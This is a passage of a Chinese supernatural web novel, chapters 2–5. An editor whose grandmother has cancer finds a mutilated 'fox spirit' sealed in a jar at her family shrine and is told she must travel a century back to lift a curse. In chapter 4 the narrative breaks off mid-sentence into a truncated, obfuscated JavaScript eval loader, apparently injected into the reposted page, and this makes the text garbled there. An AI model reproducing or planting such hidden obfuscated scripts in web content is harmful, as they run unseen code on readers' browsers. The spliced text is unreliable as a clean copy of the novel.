《你听懂我吗》 2. 第 2 章 无论梦里做得多激烈,醒来就全记不得那人的脸,只剩下隐隐约约的耳鸣,以为是戏子唱的曲调,后来反应过来只是枕头旁边的闹钟。 程筝坐直身子,再次恍然好一会儿,莫名有一种预感,如果这梦持续做下去,她恐怕马上要分不清今夕何夕。 之前还颇有闲心,嘲笑别人偏听偏信,可这玄之又玄的事真砸到自己脑袋上时,程筝也不免疑窦丛生,如果见面有机会的话,她应该问问那个玉玲自己这是什么情况,艳鬼上身不成? 到了周三中午,程筝请了半天假,说要去医院探望姥姥,她拎包走的时候,覃梦华正拎着保温饭盒上楼,程筝同她说了两句闲话:“我记得你以前总吃外卖,现在舍得自己做饭了呀。” 覃梦华笑一下:“因为我以前租的房子不带厨房,这个月我表姐搬家过来定居,空了一个卧室给我住。” 原来如此。毕竟住在别人家里,拿人的手短,所以才为她表姐稿子的事尽心尽力吧。 覃梦华打量她几眼:“程主编下午请假了吗?” 程筝点点头:“家里有点事,没看完的文件明天上午我再来看。” 说完打了个招呼,打算继续往下走,覃梦华后知后觉想起自己岌岌可危的绩效,“哎呀”一声,追着嘱咐了一句:“记得快看我交上去的稿子!有一篇真的很不错,看得人浑身鸡皮疙瘩!” 程筝比了个“OK”的手势。 打车去医院的时候,她见缝插针拿手机接收了覃梦华传过来的几份文档。 看的稿子多了,或多或少能猜出每个人的偏好,前段时间覃梦华交了一堆神神鬼鬼志怪题材的文稿上来,一篇都没过,这个月的绩效都快挂零了,程筝以为她得着急找几篇正常能过审的东西了,结果打开文档,手指往上滑了几下,发现覃梦华的口味还真是固定。 【我弟弟死了。被爹沉进了距离周公馆百里之外的湖里。 七日之后,爹养的那个问丙叩经的相士说要把人捞出来瞧一瞧,恐未死透。大哥派了几个马弁下湖去捞,连一节手指头都没捞着。 那装神弄鬼的相士在岸上厉声大叫,说倘若我弟弟没死,周家的鸿运就该到头了。 他们挨个盘问公馆里的用人,问到我头上,我说自己前段时间一直在跟英租界的洋人谈生意,哪儿有那闲工夫。 后来他们又去问了还没入门的六姨太,那女人在我身侧站立,唇也不挑、眼也不抬,静静答:“不知。” 我看着她。我知道,她昨天夜里是浑身湿透地回来。】 “……” “中心医院到了。”司机提醒了一句。 “哦,好。”程筝快速眨了几下眼睛,把手机摁灭揣进包里,推开车门下去。 刚好是午饭时候,医院住院楼里除了熟悉的消毒水味,还多了点儿油烟的饭菜香气。 程筝伴着淡淡的菜油香气,拉开病房的门,里面除了姥爷,还站了一个身材高挑的女人。 乌黑的头发在脑后绾成一团,用粗木簪子固定。着装倒没有什么特别的,很板正的圆领上衣和休闲裤……靠近几步去看,模样很年轻,估摸着跟自己不相上下,二十五六。 那“玉玲师父”偏头望向她,视线在她脸上定了几秒,随后撤回,兀自用右手捏起左手拇指指甲盖来。 程筝把手提包放下,“我打断你们了吗?顺着刚才的往下说就行,我有不懂的待会儿就再问问您。” “刚才也没说什么很重要的,没事,现在才刚开始。”玉玲松开捏着的大拇指,从裤子口袋里掏出一张写好的黄符,叫她端一碗温水来。 姥姥从始至终都没出声,因为生病手术,身子消瘦了不少,有气无力地靠坐起来,缓慢掀起眼皮同玉玲对视一眼。 一方镇静,一方轻轻笑了笑,然后便把目光重新投落在程筝的背影上。 热水瓶就在边上,程筝去混了一碗,递给她,玉玲将符纸泡进温水,用手指搅散,叫姥姥喝下去。 玉玲抽了纸巾擦沾了水的手指,突然问:“上次给你的符水喝完了怎么不再来找我要?” 姥姥捧着碗:“还不是怕太麻烦玉玲师父了。” “我以为你是病好了。”纸团被重重扔进垃圾篓里,“原来是要死了。” 程筝心中一恸,立马张嘴要问,结果尚未发声,床上的老人已经将刚喝下去的符水尽数吐了一床。 喝下去的时候还是黄色的符纸,吐出来就成了黑色。 姥爷大惊,连忙去扶,询问:“大、大师,这是怎么回事啊?” 玉玲的肩膀拎起来又急速塌下,她重重叹了一口气,沉声道:“你们家应该是养了邪祟。” 程筝追着她问:“什么邪祟?有什么办法能驱出去吗?” 此情此景,她已经完全顾不上科学道理,亲眼所见以后,也像热锅上的蚂蚁一样全然相信这位玉玲师父。 看上去她跟姥姥认识很久,而且确实有点玄学的本事,也难怪大家将她传得神乎其神。 姥姥被呛得咳嗽不止,程筝抽了纸帮她擦嘴,突然被大力握住手腕,整个身体似乎都要往下沉一沉。 玉玲仍然是一副处变不惊的模样,静静答:“今晚去你姥姥姥爷的屋子里寻一寻,看看有没有什么奇怪的物件,尤其是——” 姥姥把着程筝的小臂狠攥,嗓音沙哑虚弱:“我们家没有那种东西。” 玉玲停顿两秒,没打算住嘴:“尤其是一些上世纪的旧物。” “何玉玲!”程芸菁嘶哑着声音喝止。 “找不到他,你姥姥是活不了的。”玉玲继续,瞥了程筝一眼,目光复杂,“你也难逃红颜薄命。” 平声丢下一句以后,她弯腰拾起桌台上一根笔,在卫生纸上写了一串数字。 “这是我的手机号码,我这次下山会待几天,约莫一周左右,找到了就电话联系我。”玉玲低了低头,“告辞。” 姥姥粗粗喘气,不发一言,玉玲说完就要走。 程筝思忖数秒,叫姥爷安置姥姥躺下,她去外头叫护士换一床被子。 随即夺门而出,叫住前面的玉玲。 她俩身高也不相上下,玉玲礼貌问了一句:“还有什么事?” 程筝拿指甲掐一下掌心,指了指绿色通道的拐角,“过去说吧,这里人太多了。” 那块地方算个死角,灯都照不进去,玉玲不知道在琢磨什么事,整张脸都绷着。 程筝思来想去,把嘴唇上的死皮都快舔起来了,最后干脆扔了脸皮,开口问:“我确实还有个事儿,就是……从上个月开始,我开始频繁做奇怪的梦,梦里都是同一个男人,您说会跟我们家里的邪祟有关吗?” 她甚至怕,这所谓的“邪祟”是自己招来的,由此害了姥姥。 可程筝思来想去,她做人二十几年,从未作奸犯科,甚至在姥姥大病之前不信鬼神也不求鬼神,连笔仙都没碰过,如何能与这些乱七八糟的事扯上关系的。 玉玲直截了当问:“有多奇怪?春梦?” 程筝点头,定了定,再点头。 “哦,那正常。”玉玲面无表情,“缠上你们家的应该就是一只艳鬼。” 说完,她好像心生怨怼一般,撇开眼,咬牙骂起来:“死狐狸精。” 程筝纳闷:“狐狸精?” 这下完了,不是鬼魂是妖怪不成? 现代社会了,怎么还搞这出……程筝觉得自己前二十五年白活了。 玉玲瞧了她几眼,目光在她眉眼之间梭巡,接着叹气:“不管是不是狐狸精,总之是害人的东西,你先回去找找吧。” 程筝拉拉唇角,说“好”。 玉玲留下的电话号码还放在病房的柜子上,程筝回去的时候,护士刚给姥姥换了新一床被子。 姥爷正同她温声说话,老太太一点儿精气神也耗完了,斜靠在白色的枕头里。 程筝将那张卫生纸折起来塞进口袋里,姥姥歪头看着窗户外面,声音只剩下气:“筝筝,你真要去找吗?” “找找也没什么坏处。”程筝也开始侥幸想,“万 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家里这两个老人一直很信这套,没生病的时候,每月初一十五必去附近的寺庙里上香,被门口的小贩哄着骗着买了一堆手串佛牌回来。 这神龛也供了很多年了,真叫程筝回忆的话,好像当她还是个半人高的萝卜头时,这神龛就在这里了。 供的不是什么神佛。 无垂帘,有龛门,供的是程家的祖先。 称其为祖先甚至有些牵强,因为木椟上刻的生平,是1910-1935,一百年前的历史。 她们家只生女不生男,孩子随母姓,一代一代都姓程。 而程家供的这位祖宗,与她同名,叫“程筝”。 程芸菁女士称其为巧合,但母亲未死时说过,她的名字是姥姥给起的。 程筝在这神龛面前站定,炉子里的香火久久没有人续,已经灭完了,只剩半鼎香灰。 突然间,外头刮起大风,老屋的窗户本就大开,热风吹倒了神龛里的木椟,木头块砰砰在地上翻了几面,程筝被吹得迷了眼睛,拧着眉弯腰去捡,心里默念真是得罪了得罪了…… 下一秒,余光瞥见放置神龛的木头柜子底下的缝隙,透出一点儿蓝白的影子来。 程筝身子定住,咽了两下口水,动作僵硬地将木椟拾起来。 恰才那道风吹得人浑身寒毛直立,程筝骤然想起,她忘记叫玉玲给她一点儿护身法宝了。 她的胆子可不比覃梦华,人家看那些神神鬼鬼的东西津津有味,她可不行。 天神奶奶…… 程筝轻手轻脚将东西放回去,刚立好,又倒下来掉在她脚边。 她一闭眼,心想自己这下算是是犯了事儿了。 程筝咬了咬牙齿,念及玉玲说的要找一些旧物件,目前看见的沾边东西就两个,一个是这一百年前的木头牌子,另一个应该就是这柜子里面的东西了。 从底下的缝隙看上去只是个坛子而已,青花瓷样式的。 手指靠近柜门的拉环、定住,做了会儿心理准备,程筝缓慢将柜门拉开。 吱呀—— 一点一点的,半人高的坛子,样式形似莲子罐,滑进她的眼睛里。 目前为止一切还很正常。 只是这坛子没有盖,程筝静了一会儿,刚欲倾身去看,一个脑袋从坛口抬了起来。 程筝的脚麻了,呼吸完全静止,想跑,脚却钉死了一样动弹不得。 那脑袋越抬越高,浮上来一张艳丽的脸,黑发乌睫,双唇淡红,只是过分消瘦了些,面颊微凹。 下一秒,眼皮也折起来,第一眼就望向她。 空气仿佛凝滞,他一双清缄的眼细致地、怀念地,反复观摩她,一言不发,似含着万千不明情绪。 程筝心里咯噔一下,只有一个想法。 完了。 真是狐狸精。 3. 第 3 章 鞋尖终于能够挪动一寸,碰到恰才掉在鞋边的木椟,给死寂的室内造出一些动静。 程筝憋着的呼吸也被这道声响牵连出来,见这东西没攻击她,才敢暗自吁一口气。 在将近一分钟的时间里,她岿然不动,对方的眼睛像钉死在眼眶里了,一直望着她,眨都不眨。 “……你是人是鬼?”程筝扶了扶柜子,蠕动嘴唇,小心翼翼问出一句。 须臾间,坛子里不人不鬼的东西微启唇齿,一条缝隙刚张开就又被合上,他闭了嘴,也垂了眼,毫无血色的皮肤更显得透明。 程筝视线顺着他精致的面容往下落,坛身缀着的青蓝色纹路鲜活得似要爬到他脸上去似的,再往下,坛身中线的位置粘着一张黄符。 检查到这里,她总算敢大口喘气了,麻痹的脚筋顿时活络起来。 贴了符,应当就是被锁在这坛子里动弹不得了,爬不出来,话也说不出。 程筝手指抖了抖,连忙回头去沙发的手提包里找自己的手机,再从衣服口袋里掏出卫生纸,摁玉玲的电话号码,因为紧张,期间摁错好几次。 狐狸精安静待在原地,又轻轻掀起眼睫看向她背影,连呼吸都几不可闻。 玉玲的电话终于被接通,程筝舌头还打了一下结:“大师,我找到了,我姥姥家里有个青花瓷坛子,里面有个人……” 边说,视线边虚虚往神龛底下的柜子里落,程筝想了想,补充:“人彘……吧。” 活人的身体怎么可能塞得进坛子里?骨头都得被折断了,那坛口看上去也就刚比脑袋大一圈。 电话对面静了好一会儿,程筝疑惑地“喂”了一声,玉玲才开口答:“他说话了吗?” “没有,坛子上贴着符呢。” 玉玲:“你去检查一下他的嘴,再看一下坛子里是不是除了躯干什么都没有。” 这话一进耳朵眼,那种寒毛毛的感觉乍起,胳膊都长出一片鸡皮疙瘩,程筝难得迟疑住:“让我去啊?” 玉玲语气轻飘飘的:“不是贴了符吗?他动不了的,不会伤害你。” 一边捏着手机,程筝一边转身看过去,面色极为难看,青了又白白了又青,做足心理准备以后才敢迈脚。 起先只敢靠在柜门边上探头往里看,脚尖跟坛子隔了一米的距离,但是这样检查不了他的嘴,也看不见脖子下面的坛口,程筝磨了下牙齿,又往前跨了半步,影子完全遮住他的身体。 狐狸精的鼻子动了动,像在闻什么。 玉玲在电话里催:“看见了吗?” “快了快了。”程筝飞快回答,眉毛拧了拧,试探性伸手去碰他的脸。 他刚看了看她,就突然被捏起下巴,灰暗的眼睛里溢出点儿她看不懂的情绪,随即,眼珠往旁边转了一下,盯着木椟上两个字看了很久。 “抱歉抱歉,请您配合一下,张张嘴行吗?”她说。 玉玲默了默,说,对妖精还这么客气。 不然可怎么办为好,她可是肉体凡胎,怕死。立身入世,头上就顶了“不得罪人”这几个字。 中括号,包括鬼。 小括号,也包括妖精。 虽然客气地问了,但这人没有要配合的样子,甚至将嘴闭得更紧了,不叫她顶开。 程筝用脑袋夹住手机,双手齐上阵,哄人:“我就看看。” 谁知道他听不听得懂现代汉语。 捏着狐狸精的两腮,程筝成功将手指伸进去,撬开他的齿关,往里摸,从后槽牙扫到门牙,然后滞住。 玉玲问:“怎么样?” “他、他没有舌头。”程筝刚说完,指头被狠咬了一下。 她“嘶”一声:“他还咬人!” 玉玲又问:“身体呢?” 程筝的手指还被他咬在嘴里,视线却已经移开,往坛子里面瞥,将唇线抿平。 良久,她平声:“也没有四肢。” 兴许是什么字眼刺痛了他,他骤然松开她的手指,静静垂下睫毛,要往坛子里躲,程筝下意识要把他捞起来,却只摸到他一截短短的头发。 手机里传来细小的电流音,玉玲的声音响起:“中国神话里有十八层地狱的说法,用于惩罚各种鬼怪。” 程筝安静着听,指尖还是湿的,证明刚才并不是幻觉。 “第一层,凡在世之人,挑拨、诽谤、说谎,死后被打入拔舌地狱。” “第二层,妇人的丈夫不幸死去,若唆使她再嫁,死后被打入剪刀地狱,剪断十根手指。” “第三层,离间骨肉,挑唆父子、兄弟、姐妹、夫妻不和之人,死后入铁树地狱。” “以及,与人通奸、挖掘坟墓……” 程筝听得浑身冰凉,把手指缩回袖子里,叫停:“我觉得不用再科普了。” 她讪讪问:“不是每个人犯了点小错都会这样吧……” 玉玲:“不知道,我还没死过。不过人各有命,有人长生,有人不人不鬼,有人入了轮回道。” “现在你那边怎么样?”玉玲又问。 程筝瞧了瞧,说:“他躲进去了。” “那就别管了,明天我要去取个东西,过几天再联系你,今天你先回家休息吧 ,什么也别想。” 久久无言,她的目光还停留在坛口边缘,瞥见他散出来的几缕头发。 见她一直没回答,玉玲问:“怎么了?” 她郁闷:“……没事。” 照玉玲的话来说,这就是这个月总钻进她梦里的艳鬼、狐狸精,每次梦做完了以后她都记不起来那人的长相,现在乍一眼扫上去,确实觉得有些眼熟。 不仅如此,整个人都觉得怪怪的。 挂断电话后,她慢慢将柜门关好,俯身拾起地上的木椟,看了看上面“程筝”两个字,将其放置回原位。 锁好姥姥家的门时,隔壁中学下晚自习的铃声也正好响起,程筝在一道道铃声中下了楼。 经此一面以后,她的梦干净了。 狐狸精不再光顾了。 仿佛另一个自己得到了休息,程筝觉得神清气爽起来,工作也有力气了。 玉玲叫程筝听指挥行动,不要再去接触那个坛子,老屋的门一直都是锁着的,保险起见,程筝叫姥爷暂时别回去,在她租的房子里先歇一段时间脚。 程筝好奇,问他俩以前就没发现那个坛子里有东西吗,姥爷给姥姥把蛋花汤吹凉,勺柄在碗沿敲了敲,说祖先留下来的东西是不能随便碰的。 “那么大的坛子,不能随便碰是怎么搬进屋子里的?” 姥姥嘬了口汤,说,是她的嫁妆。 从始至终,程芸菁女士都没有表露出任何讶异的表情,程筝不免多看了她两眼,觉得,姥姥好像早知道那里面是会害死她的邪祟一样。 虽然玉玲这边的玄学治疗法似乎真有进展,但是约好的北京专家会诊还是得去,只不过这次人家只是坐诊,叫家属先把病人拍的片子以及病历都带过去,看完以后再定具体方案。 程筝将姥姥拍的脑部CT全都带了过去,姥爷更是忧心忡忡。 专家看了很久,问:“你是说病人刚切除完一个肿瘤?” “是的,三个月之前才手术成功,以为养养就能出院了,结果刚手术完一个月,复查的时候发现又长出一个核桃大小的。”程筝艰难发声,“而且一年之前还做过乳腺癌手术,那时候也是恶性肿瘤。” 半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻言,程筝往楼梯间的墙上靠了靠:“那要怎么办?” “姥爷说你给我姥姥治病不收费,如果全权交给你的话,需要多少时间?” “不知道。”玉玲答,“需要多久是由你决定的,不是我。” “……什么意思?” 风声重新出现,玉玲声音平静:“见面再说。” / 石头一般沉重的事连日压在心头。姥姥的病一日没有眉目,程筝的心就一日不安。 房间的床头柜上还摆着她幼年跟两个老人在公园湖边的合照,程筝侧身睡着,描摹月光下的照片。 然后,缓缓闭上眼。 “…………” 又来了。 又到这个小房间里来了。 红木塌,真丝床单,泛着冲鼻子香味的蜡烛。 只不过这次没有曾经缠绵的景象,二人清清白白端坐两边。 程筝觉得此情此景让人有些恍然,拧着脑袋端详了好一阵儿,见坐在前头的人轻微将脸转过来,露出跟坛子里那狐狸精一模一样的鼻尖。 明明没被关在坛子里,却也是极为羸弱的,病怏怏的并无什么活气,当人的时候也像鬼。 程筝以为他有什么要紧话要讲,结果看见他目光微垂,把玩起柜子上的墨水瓶来。 耳朵里灌进来一副轻飘飘的腔调。 他微笑着叹气,仍旧不抬眼瞧瞧她,只道:“原来六姨太竟是想我死。” 4. 第 4 章 程筝从软榻上起来,觉着这完全是歪曲事实:“究竟谁要谁死,却是说不好吧。” 拂了拂坐皱的衣裳,她的视线在屋子里梭巡。 屋子整体作风中西交杂,程筝从玻璃窗巡到木柜上陈列的观音像,最后落在边上这人面颊上。 他正歪煞坐着,左臂勾着个棉枕头,右手将那墨水瓶转来转去,看上去是大户人家出身,在家着一件黑灰色长衫。 周怀鹤没搭她的腔,默了。 程筝当他哑口无言。 楼下花园里还在唱京戏,出的是《西厢记》的选段,程筝读过,依稀还记得。 视线从敞开的彩色琉璃般的玻璃窗往外一瞧,花旦的珠花亮闪闪地发光一般,少女吊起眼角,胭脂抹到太阳穴,模样可人,唇角一挑就唱起来。 前头摆了几张老爷椅,顶头两个年纪略大,看上去像夫妻。夫妻左边是一位穿军装、腰带里荷枪的;右边人穿西装打领带,翘着锃亮的皮鞋。 想起这人对自己的称呼,程筝不免起疑,她为何成了这家的六姨太? 楼下唱戏吵得紧,也不知是在给谁庆生,程筝将窗户一合,扯了张凳子,坐在周怀鹤跟前儿,下巴略略往上扬了一样,问: “那你说,要怎么样才能放过我们家?” 她刻意留了时间给他回答,但他不作声,只是一直拿那叫人不大舒服的直溜溜的眼睛盯着她,程筝摊手:“如果有比杀死你更好的解决方法,也不是不能尝试,只是你不说,那就怪不得我。” 她四下瞧了瞧,看见花墙上挂着的钟盒马上要指向晌午十二点,不知自己什么时候能梦醒,干脆同他把话讲明白:“玉玲说你是在地狱里被剐了好几层,又是拔舌又是剪指头的,想来生前是个作恶多端的人,死后还危害活人。” 默了默,她撇开眼:“这也算罪有应得。我姥姥、我父母,以及我,又不是活该被邪祟缠死。” “那并非我本意。”周怀鹤启唇,放下墨水瓶,“是有人耍性子,不叫我死。” 这事情更加稀里糊涂了,每个人说的话她似乎都听不懂。 程筝拧眉,瞧见他眼下泛着乌青,整个人越发形销骨立,许是累了。 “回去以后,你就叫我死了罢。”周怀鹤敛下眼,“总之我也算不得人了。” 明明关了窗,那唱戏打镲的声音却一道比一道响亮起来,震得程筝脑仁生疼,一时间什么也听不见了,直教人闭眼缓神。 阖眼前还看见那狐狸精的嘴唇动了又动,自己却是一声也听不清。 没由来的,心里疼了一下,再睁开眼,瞧见的是白晃晃的天花板,身上还出了点儿细汗,黏答答的。 程筝心里空了一瞬,脑袋还疼,囫囵做的梦便在这点点阵痛中给遗忘了,再次记不清。 上班路上带了杯美式,今日要开双周会总结上周工作,核对工时和绩效,覃梦华一早就在办公室门口候着她,双手合十,拜托她一定要在下午两点开会前把她的稿子看完,这个月的绩效就指望她的生死时速了。 之前去医院的路上看了几页,程筝还有很深的印象,开头就是沉湖的事,看走向像虚构的家族秘闻。 试读仅有三万字,她啜饮下半杯咖啡,将其逐字逐句读完了,期间一直屏息,行文老辣,关系线一根牵一根,短短三万字就已经出现十几号人,各个都好像藏得极深。 花了将近一个小时读完,程筝想了一想,呵出一口气,将文名打进报表里,显示“复审通过”,再交至三审,片刻后给覃梦华发了个“OK”的表情,覃梦华几近泪目,说还以为自己干这么烂,马上要被开了。 程筝认真提议:“可能只是这里不适合你,我们很少做这种类型的书,之前只做青少年教辅,后来才拓展了别的部门,领导也比较重视安全线。” “如果你需要的话,我可以推荐你去另一家出版社,她们那边悬疑类目多,有自己的销路。” 覃梦华:“谢谢程主编呜呜呜呜呜,不过目前我刚稳定下来,先不打算走啦。” 覃梦华:“说起来还有点不好意思,之前到这里来应聘,就是大学时候看了你给一本再版书的导读,您说,读的是字,看的是人。对那位作者的解读我也很认同!为了程主编我也会继续继续留下去的哈哈哈哈哈。” 再次看见那八个字的时候还有些怔神,程筝已经想不起具体是三年前还是两年前写下的导读,更记不得是给哪部短篇小说集写的。 说来也唏嘘,毕竟刚入行的时候她也像覃梦华一样,上学的时候躲被窝里把眼睛看坏掉,还被姥姥提溜起来训了一顿,看几大本几大本板砖一样厚的书,文字晦涩,生啃也给啃下来了。 现在都觉得仿佛是上个世纪的事了。 下午开会,简单汇报了一下组里的情况,晚上回家做饭,顺道去看了一眼姥姥,说了几句话,几天就囫囵从身体里晃过去了,什么也没留下似的。 玉玲的电动车也不知骑去哪里了,三四天了也没个电话。偶尔在无所事事的时候,程筝脑子里会倏地晃过一句话,说,你就叫我死了罢。 既然印象模糊,那估计就是哪次做梦的时候狐狸精说的,只有做狐狸精的梦的时候她会毫无印象。 虽然要杀他的话确实是她跟玉玲提议的,程筝到现在也不觉得有哪里不合理。 害人命的邪祟就是该死的,心里为何又总隐隐难受。 难受着难受着,跟中邪一样,她回了中学旁边的教职工公寓,拿钥匙转开了老屋的门。 陈设一动未动,程筝反身掩上门,面色空洞地坐在沙发靠上,两条腿往前滑,就那么盯着那个橱柜。 应该有一周没人来过了,狐狸精会像人一样感到寂寞吗?终日被困在那么一方寸的坛子里,柜子里黑漆漆的,真能待得下去吗? 怎么她现在才开始担心?人家估计已经这样过了上百年了,完全是没必要的担忧,跟那些日子比起来,这短短七日又算得了什么。 上百年啊……程筝扬着眼睛算了一下,感叹,好久啊。 骤然起身,站在柜子前,程筝斟酌再三,缓慢抬手敲了三下:“狐狸精,你在——” 手机不合时宜地响起来,程筝把“吗”字咽回去,惊觉自己许是中魔了,干嘛寻到这里来。 每次见这狐狸精心里都一阵难以言喻的滞涩,叫人疑心,一定是狐狸精的把戏。 程筝收回手,转到客厅墙角接通电话,是好久没声响的玉玲,问她现在在哪里。 “我在姥姥家,你现在过来吗?” 玉玲的嗓音极度疲惫:“之前不是叫你不要去吗?上次还怕得抖如筛糠,怎么这下还自己找过去了?” “我——”程筝说不好,“我就是来帮姥爷拿东西,吓我总比吓老人家强。” 她强行扭转话 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那东西也不大,刚好躺满一手掌,程筝看着玉玲一点点将帕子打的结解开,露出一个样式古旧的铜香炉,被一起包起来的还有两根残香,一长一短,应是最后两根了,否则也不会长短不一。 “这是什么?”程筝凑近瞧了瞧,不料玉玲异常严肃地问她:“你相信穿越吗?” 几个字霎时间把她问懵了,程筝眨了好几下眼睛:“什么?” 你问她信不信……之前肯定是不信的,但如今是黑色的符水也见了,坛子里的鬼怪也见了,你跟她说穿越她是不想信也得信了。 “谁穿越?”程筝指了指她,又指了指自己的胸口,“我吗?” 玉玲往旁边横了一步,让开来,于是那座神龛以及木椟上“程筝”两个字就大喇喇出现在她视野里。 “回香炉是我在青檀山青云宫里已逝的师父施过咒术的法器,可以回魂到过去,原本是造来回忆他的发妻的,师父死后,燃香只剩下这一柱半。” 玉玲小心翼翼捻起半截香,两人对视,“所以有两次机会,烧半柱可以在回溯的时间里待两年,一柱是四年,你一共可以在那边待六年,炉里六年是这里六个月。” 视线在玉玲和木椟之间反复横跳,程筝有了不大好的猜想:“你的意思是,我穿过去,穿成我的老祖先?” “你见过那个程筝的照片吗?她和那邪祟是同时代的人。”玉玲淡然放下香,缓声道,“你跟她长得一模一样,所以程芸菁才给你起一模一样的名字,只有你可以穿成她。” “坛子里的东西现在不能杀死,他的命跟你们家是系在一起的,他死了你们必暴毙。这要追溯到一百年前,有人求——请大师念经布法,用你们的命给他续命。” 玉玲说:“所以只有一个办法,那就是改变过去,让这咒术从源头消弭。” 程筝耳朵嗡嗡作响,信息处理系统负载过重,眼珠又挪动到神龛下面的木柜上,不知里面那狐狸精是否也听得见。 “你有两种选择,要么想方设法救了他,叫他不入地狱入轮回。” 程筝挪回视线,轻声:“那另一种呢?” 玉玲望着她,沉默良久。 “要么在过去就让他死干净,阻止续命。” 5. 第 5 章 忽而,柜子里发出轻微的碰撞声,程筝飘飞的注意力顷刻间被转移,玉玲瞧了她一眼,将帕子重新系好。 “现在还不是时候,你还需要做些准备。”她边系边说。 程筝盯着纹丝未动的木柜看了一会儿,随即收回是视线,问:“什么准备?” “这不是儿戏,你回到一百年前,用的是祖先的身份,如果你在那边出意外身亡,那么立足于现在这个时间点的你,也就不存在了,懂吗?” 说着,她指了指神龛之上的木椟:“况且,你知道那位‘程筝’是什么情况、什么境遇吗?你知道在一百年前要怎么生活、怎么做生意挣钱吗?” 夕阳西下,霞光漫天,程筝盯着脚下的影子,无可回答。 民国史倒是读过,可知道是一回事,实操又是另一回事,如若不当心丧命,就再也回不来,姥姥也不用救了,人全都没了。 程筝深切意识到这件事的严肃程度,不由得紧绷起来。 “程芸菁现在身体怎么样?”玉玲直呼其名,像是习惯了。 程筝摇摇头,说情况一日比一日坏,医生那边没有切实有效的治疗方案,姥姥现在睡的时间比醒的时间多,醒了会疼,就又要打针。 玉玲的脸色随外头的夕阳一道沉下,攥着方巾帕子的手指紧了紧,“速战速决吧。” 从进门以后她就滴水未沾,此刻又马不停蹄将程筝叫到沙发边上坐下,再开口时嗓音像粗沙磨过:“过去的事我并不知晓全貌,程芸菁如果身体情况好的话还有个指望,现今怕是不成了,因此我们只剩下一个人选。” 程筝见她的目光挪到沙发后面的柜子。 “问他?”她差点以为自己意会错了,但玉玲在她诧异的声调里严肃点头:“只有他知道。” “但他凭什么教会我?”程筝反问,“我说不定会除掉他啊。” “只要你提,他会听话的。”玉玲不痛不痒地笃定,“况且他想死很久了,只是死不掉。” 这话倒是不作假,程筝又想起梦里那半句“你就叫我死了罢”,心情复杂起来。 起初她还心想,世界上哪有不想活的人;随后又理解,如他那般困于一个不见天日的坛子里,恐怕死亡也算一种解脱。 也不知道多少年没跟人说过话了……刚想到这里,玉玲从荷包里抽出一张被夹扁的黄符,递到她手里。 “这符你这几天练熟。” 程筝接来看一眼,跟上次冲符水的黄符一个图案,应该是治病驱邪用的。 “画到有效为止。”玉玲仰面摁了摁眉心。 “怎么验证有没有效?”图案极为复杂,每笔的行路都理不真切,程筝兀自嘀咕,将薄薄的符纸又折回去。 包里的小灵通叮铃铃响起来,玉玲起身欲走,似乎还有急事,背对着她指了指柜子:“给里面那东西喝,有效的话他的舌头能最先长回来。” “先练符,舌头长回来以后他就能说话,务必在一周以内完成,你穿回来都至少得是两个月以后了,程芸菁那边怕是等不起了。” 火真烧到眉毛上了,程筝的心坠了又坠,将那张薄薄的符纸捏得发起皱来。 接下来一周,她干脆住进了这所教职工公寓里,玉玲说市面上的黄符材料都大差不差,差别只在于画符的人,她随便买一沓回去练就行。 因为时间太紧,玉玲叫她只掌握这一种,保命用。 程筝第二次将柜子缓慢拉开,坛中人仍旧保持原状,只飘了几缕乌色的头发上来,也不知是羞于残缺的身体,还是什么别的,总之不愿意冒头。 她居高临下盯了片刻,拍了拍手,卯足一口气,两只手把着坛口将沉重的坛子转着圈转下来,挪到窗口,窗户开着,狐狸精的头发被吹得像雾一样飘起来,脑袋尖在程筝眼前几不可闻动了动。 她屈着手指砰砰敲那坛子,好言相劝:“我都给你挪到太阳底下了,好歹出来呼吸一下二十一世纪的新鲜空气吧?” 一秒、两秒,没动静;第三秒,一双乌溜溜的眼睛浮上来,含了水一般望着她,很安静。 兴许是这人性格太闷了,不声不响,也看不出来一点儿攻击力。 第一次见他这形态时程筝心里还直咯噔,后来想一想,他又没长鬼脸,甚至顶的还是一张极为俊俏的脸,除了身体结构令人唏嘘一点以外,并没有什么值得惧怕的。 程筝如今已经适应良好了。 有多良好呢?比如在画符之余,她决心多找几本资料来看,便拉了张凳子坐在坛子跟前儿,翻着书一条条问“当年真是这样?”“最大的商行是谁家的,为人如何,有没有什么把柄”“当年的股灾是什么形式”……诸如此类的问题。 只不过这人只能点头摇头,复杂的应答不了,可确实如玉玲所说,知道自己可能会死,他也并无抵触的情绪,似乎求之不得。 程筝拿了自己画符的笔给他叼在嘴里。 “你叼着写,能写出来字来吗?”程筝叫他试试,提着个本子竖在他眼前。 他撩眼看看她,视线落到纸上,缓慢眨眼,专心致志地咬住那根笔。 朱砂落上去,竟是歪歪扭扭的勾画了个爱心出来,爱心旁边写了个简单的“周”字,同样歪七扭八。 程筝古怪看他,脸色变了又变,看看那丑陋的爱心,又看看他,抿了唇。 什么意思?都这样了还示爱?又不是在梦里。 “比我画得还差……”程筝不跟他讲话了,转身继续趴在茶几上画符。 晚上开着客厅里的灯,程筝专门买了羊毫和朱砂墨,盘着腿一点点照着样本上弯弯绕绕的图案临摹,然后把几张拎起来细细对比几下,挑一张觉得画的最好的,又冲了一碗符水,学着玉玲拿手指搅散,端到狐狸精面前。 “再来一碗吧。”她说。 他抿紧唇,眼神往一侧躲避。 程筝捏他的两颊叫他张嘴,作出承诺:“相信我,这碗效果一定比前面十碗好。” 狐狸精蹙眉又被灌下去一碗,差点儿咳嗽起来,程筝用指头抵住他齿关,视线往他嘴里钻,低声嘟囔:“真就一点儿舌根都没长?” 喂了几日了,除了两排牙齿什么都没有,她觉得有些丧气,手也画疼了,活动几番,无聊地跟他说起闲话来:“没舌头就不能讲话吗?哈几口气也好啊,你叫什么名字?周什么?” “嗬嗬。”他张嘴了,只能冒出气声。 程筝想了又想,猜:“‘呵呵’?你阴阳我?” 狐狸精难得凝噎,又重复:“嗬嗬。” “何?你姓何?” 他叹气的声音倒是极为清晰。 “猜不到,算了。”程筝将空碗端回去,“人鬼殊途,反正也不会有什么交集。” 画了四天符,眼见时间过去大半,狐狸精的舌头还是没有长出来,程筝不免也急了,越画心情越烦躁,坛子里的人就在旁边静静望着她。 